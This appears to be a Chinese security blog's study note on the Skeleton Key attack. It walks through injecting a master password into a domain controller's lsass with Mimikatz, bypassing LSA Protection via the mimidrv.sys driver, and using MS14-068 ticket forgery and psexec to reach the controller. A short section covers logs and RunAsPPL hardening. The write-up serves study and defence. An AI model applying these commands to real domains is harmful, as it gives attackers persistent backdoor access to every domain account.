0x01 前言
本文是对以下文章的学习:
- 域渗透——Skeleton Key
- skeleton-key
- Attackers Can Now Use Mimikatz to Implant Skeleton Key on Domain Controllers & BackDoor Your Active Directory Forest
Skeleton Key
是针对lsass的一个攻击方式,攻击者将Skeleton Key
注入域控的Lsass进程后,攻击者可以使用一个万能密码登录所有的域用户,然而现有的认证机制不会被破坏,域用户还是能够使用原密码进行登录。要注意的是这种攻击由于是注入到lsass当中,所以在机器重启后将会失效,攻击者要再次利用Skeleton Key得重新进行攻击。
0x02 利用
利用条件:
- 已经拥有域中其中一台域控
- Windows Server2003 - Windows Server 2012 R2
- 64位系统
Mimikatz
我们可以使用mimikatz简单的完成这种方式的攻击
相关源码:mimikatz/modules/kuhl_m_misc.c
使用正确的密码登录域控,这很正常。
1 | net use \\DC\ /user:[email protected] Admin123456 |
接下来使用Mimikatz安装Skeleton Key
1 | privilege::debug |
安装完成后 使用Skeleton Key也能正常执行命令和登录系统。
1 | net use * /DELETE /y #清空已有链接 |
域用户使用skeletonkey RDP登录域成员机
skeletonkey并不能提高权限,只是给了一个万能密码而已。要登录的用户是什么权限,使用skeletonkey登录后它还是什么权限。
LSA Protection绕过
微软在2014年3月12日添加了LSA保护策略,用来保护进程Lsass,防止恶意进程对Lsass进行注入。
适用系统:
- Windows 8.1
- Windows Server 2012 R2
配置LSA Protection
注册表位置:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa
配置命令:
1 | reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v "RunAsPPL" /t REG_DWORD /d 1 /f |
重启系统后,再次执行会发现报错
绕过LSA Protection需要导入mimidrv.sys驱动文件:
1 | privilege::debug |
思考了一下利用环境
- 域中存在能模拟域管的漏洞可以利用(MS14-068或者是Golden Ticket?
- 域控是Server 2012 R2及以下
MS14-068配合skeletonkey利用
环境:Windows Server 2008 R2 域控 10.1.1.2
攻击机已经获得域成员机管理员权限,并拥有10.1.1.5域用户本地管理员权限
使用ms14-068.exe来伪造PAC,获得高权限的票据
1 | ms14-068.exe -u user@domain -s domain-user-SID -d DC-IP -p ClearPassword |
1 | kerberos::purge #清除票据 |
1 | net use \\DC #建立IPC连接 为了获取shell ,这一步好像是多余的 |
使用Psexec在域成员机上获取域控shell
1 | psexec.exe \\DC -s cmd.exe |
在域控上植入Skeleton
注:在进行实验的时候时使用Kali下进行攻击,使用Impacket-Psexec
总有问题。。
0x03 防御和检测
检查日志
开启系统日志审核:
当使用Mimikatz时:
Mimikatz安装Skeleton Key时,会产生以下记录:
加载驱动文件会产生相应的日志文件 7045:
当退出mimikatz进程时:
开启LSA protection
在组策略中开启LSA protection保护,虽作用不大,但聊胜于无。
1 | reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ /v "RunAsPPL" /t REG_DWORD /d 1 /f |
0x04 总结
简单介绍了Skeleton Key的利用,以及MS14-068的利用方式。不得不说,我是废物.jpg